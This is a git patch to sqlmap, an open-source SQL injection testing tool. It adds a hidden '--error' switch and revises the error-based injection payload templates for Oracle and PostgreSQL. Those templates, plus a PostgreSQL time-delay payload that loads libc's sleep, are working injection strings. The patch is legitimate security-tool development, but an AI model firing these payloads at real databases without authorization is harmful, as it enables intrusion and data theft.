From 4bc541ec3c487a1a710d8284ff77364723a80201 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar <miroslav.stampar@gmail.com>
Date: Tue, 19 Oct 2010 14:47:13 +0000
Subject: [PATCH] error based update

---
 lib/parse/cmdline.py  | 3 +++
 lib/request/inject.py | 6 +++---
 xml/queries.xml       | 4 ++--
 3 files changed, 8 insertions(+), 5 deletions(-)

diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index abc96a2b1..654db722b 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -488,6 +488,9 @@ def cmdLineParser():
         parser.add_option("--profile", dest="profile", action="store_true",
                           default=False, help=SUPPRESS_HELP)
 
+        parser.add_option("--error", dest="error", action="store_true",
+                          default=False, help=SUPPRESS_HELP)
+
         parser.add_option("--cpu-throttle", dest="cpuThrottle", type="int", default=10,
                           help=SUPPRESS_HELP)
 
diff --git a/lib/request/inject.py b/lib/request/inject.py
index 29d0cba86..0c1aa87d4 100644
--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@@ -358,8 +358,8 @@ def __goError(expression, resumeValue=True):
 
     if match:
         output = match.group('result')
-        if kb.dbms == "Oracle" and output:
-            output = output.replace("__SPACE__", " ")
+        if output:
+            output = output.replace("%c%c" % (58, 59), " ").replace("%c%c" % (59, 58), "")
 
     return output
 
@@ -385,7 +385,7 @@ def getValue(expression, blind=True, inband=True, error=False, fromUser=False, e
 
         expression = expression.replace("DISTINCT ", "")
 
-        if error:
+        if error or conf.error:
             value = __goError(expression)
 
             if not value:
diff --git a/xml/queries.xml b/xml/queries.xml
index e3b41ecb2..b9848fa44 100644
--- a/xml/queries.xml
+++ b/xml/queries.xml
@@ -92,7 +92,7 @@
         <substring query="SUBSTR((%s), %d, %d)"/>
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) FROM DUAL"/>
         <!--<error query="AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(58)||(%s)||CHR(62))) FROM DUAL)" regex="Warning: invalid QName.*::(?P&lt;result&gt;.+?)&amp;quot;"/>-->
-        <error query="AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(58)||(REPLACE((%s),CHR(32),'__SPACE__'))||CHR(62))) FROM DUAL)" regex="Warning: invalid QName.*::(?P&lt;result&gt;.+?)&amp;quot;"/>
+        <error query="AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(58)||(REPLACE((%s),CHR(32),CHR(58)||CHR(59)))||CHR(62))) FROM DUAL)" regex="Warning: invalid QName.*::(?P&lt;result&gt;.+?)&amp;quot;"/>
         <inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
         <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
         <current_user query="SELECT USER FROM DUAL"/>
@@ -176,7 +176,7 @@
         <timedelay query="SELECT PG_SLEEP(%d)" query2="SELECT 'sqlmap' WHERE exists(SELECT * FROM generate_series(1, 300000%d))" query3="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
         <substring query="SUBSTR((%s)::text, %d, %d)"/>
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
-        <error query="AND 1=CAST((%s)::text AS NUMERIC)" regex="SQL error:.*invalid input syntax for type numeric:.*&quot;(?P&lt;result&gt;.+?)&quot;"/>
+        <error query="AND 1=CAST((%s)::text||CHR(59)||CHR(58) AS NUMERIC)" regex="SQL error:.*invalid input syntax for type numeric:.*&quot;(?P&lt;result&gt;.+?)&quot;"/>
         <inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
         <banner query="SELECT VERSION()"/>
         <current_user query="SELECT CURRENT_USER"/>